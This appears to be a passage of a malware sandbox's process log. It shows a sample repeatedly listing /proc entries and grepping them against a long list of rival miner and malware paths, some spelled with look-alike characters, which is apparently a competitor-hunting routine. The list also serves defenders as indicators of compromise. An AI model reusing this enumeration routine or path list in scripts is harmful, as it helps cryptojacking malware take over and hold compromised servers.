- /bin/ls
  ls -latrh /proc/642
  2⤵
  PID:1052
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1055
- /bin/grep
  grep exe
  2⤵
  PID:1059
- /bin/ls
  ls -latrh /proc/646
  2⤵
  PID:1058
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1061
- /bin/grep
  grep exe
  2⤵
  PID:1066
- /bin/ls
  ls -latrh /proc/647
  2⤵
  PID:1065
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1068
- /bin/grep
  grep exe
  2⤵
  PID:1071
- /bin/ls
  ls -latrh /proc/648
  2⤵
  PID:1070
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1073
- /bin/grep
  grep exe
  2⤵
  PID:1076
- /bin/ls
  ls -latrh /proc/649
  2⤵
  PID:1075
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1078
- /bin/ls
  ls -latrh /proc/655
  2⤵
  PID:1080
- /bin/grep
  grep exe
  2⤵
  PID:1081
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1083
- /bin/ls
  ls -latrh /proc/658
  2⤵
  PID:1085
- /bin/grep
  grep exe
  2⤵
  PID:1086
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/grep
  grep exe
  2⤵
  PID:1091
- /bin/ls
  ls -latrh /proc/690
  2⤵
  PID:1090
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1093
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/ls
  ls -latrh /proc/693
  2⤵
  PID:1095
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/698
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1101
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1103
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1105
- /bin/grep
  grep exe
  2⤵
  PID:1106
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1111
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1110
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1113
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1115
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1120
- /bin/grep
  grep exe
  2⤵
  PID:1121
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1123
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1125
- /bin/grep
  grep exe
  2⤵
  PID:1126
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/95
  2⤵
  PID:1130
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep exe
  2⤵
  PID:1136
- /bin/ls
  ls -latrh /proc/apm
  2⤵
  PID:1135
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1140
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1145
- /bin/grep
  grep exe
  2⤵
  PID:1146
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1156
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1155
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1160
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/ls
  ls -latrh /proc/cpu
  2⤵
  PID:1165
- /bin/grep
  grep exe
  2⤵
  PID:1166
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1168
- /bin/grep
  grep exe
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1170
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1181
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1183
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1185
- /bin/grep
  grep exe
  2⤵
  PID:1186
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1188
- /bin/grep
  grep exe
  2⤵
  PID:1191
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1190
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1193
- /bin/grep
  grep exe
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1195
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1198
- /bin/grep
  grep exe
  2⤵
  PID:1201
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1200
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1203
- /bin/grep
  grep exe
  2⤵
  PID:1206
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1205
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1208
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1210
- /bin/grep
  grep exe
  2⤵
  PID:1211
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1213
- /bin/grep
  grep exe
  2⤵
  PID:1216
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1215
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1218
- /bin/grep
  grep exe
  2⤵
  PID:1221
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1220
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1223
- /bin/grep
  grep exe
  2⤵
  PID:1226
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1225
- /bin/grep
